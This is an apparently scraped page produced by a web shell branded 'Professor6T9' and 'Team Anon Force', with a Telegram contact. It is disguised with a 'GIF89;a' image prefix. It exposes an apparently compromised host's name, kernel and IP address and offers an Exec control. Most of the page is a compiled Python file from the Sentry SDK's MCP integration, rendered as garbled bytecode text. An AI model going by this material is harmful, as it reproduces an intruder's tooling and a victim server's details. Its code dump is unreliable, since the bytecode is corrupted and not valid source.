GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux host69.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
68.65.123.79
/
opt
/
hc_python
/
lib64
/
python3.12
/
site-packages
/
sentry_sdk
/
integrations
/
__pycache__
[ HOME ]
Exec
Submit
File Name : mcp.cpython-312.pyc
� �0iTN � � � d Z ddlZddlmZ ddlmZ ddlZddlmZ ddl m Z mZ ddlm Z mZ ddlmZ dd lmZ dd lmZ ddlmZ er dd lmZmZmZ G d� de � Zd� Zd� Zd� Zd� Zd� Z d� Z!d� Z"d� Z#d� Z$d� Z%d� Z&y# e$ r ed� �w xY w)a Sentry integration for MCP (Model Context Protocol) servers. This integration instruments MCP servers to create spans for tool, prompt, and resource handler execution, and captures errors that occur during execution. Supports the low-level `mcp.server.lowlevel.Server` API. � N)�wraps)� TYPE_CHECKING)�get_start_span_function)�OP�SPANDATA)�Integration�DidNotEnable)�safe_serialize)�should_send_default_pii)�Server)�request_ctxzMCP SDK not installed)�Any�Callable�Optionalc �, � e Zd ZdZdZdd�Zed� � Zy)�MCPIntegration�mcpzauto.ai.mcpc � � || _ y)z� Initialize the MCP integration. Args: include_prompts: Whether to include prompts (tool results and prompt content) in span data. Requires send_default_pii=True. Default is True. N)�include_prompts)�selfr s �J/opt/hc_python/lib/python3.12/site-packages/sentry_sdk/integrations/mcp.py�__init__zMCPIntegration.__init__$ s � � /��� c � � t � y)zM Patches MCP server classes to instrument handler execution. N)�_patch_lowlevel_server� r r � setup_oncezMCPIntegration.setup_once/ s � � � r N)T)�__name__� __module__�__qualname__� identifier�originr �staticmethodr r r r r r s% � ��J� �F� /� �!� �!r r c �� � d} d}d} t j � }|��|j } t |d� r�|j ��|j }t |d� r9|j j d� rd}|j j d� }nDt |d� r8|j j d� rd }|j j d� }| ||fS # t $ r Y �w xY w) a8 Extract request ID, session ID, and MCP transport type from the request context. Returns: Tuple of (request_id, session_id, mcp_transport). - request_id: May be None if not available - session_id: May be None if not available - mcp_transport: "http", "sse", "stdio" N�stdio�request�query_params� session_id�sse�headerszmcp-session-id�http)r �get� request_id�hasattrr&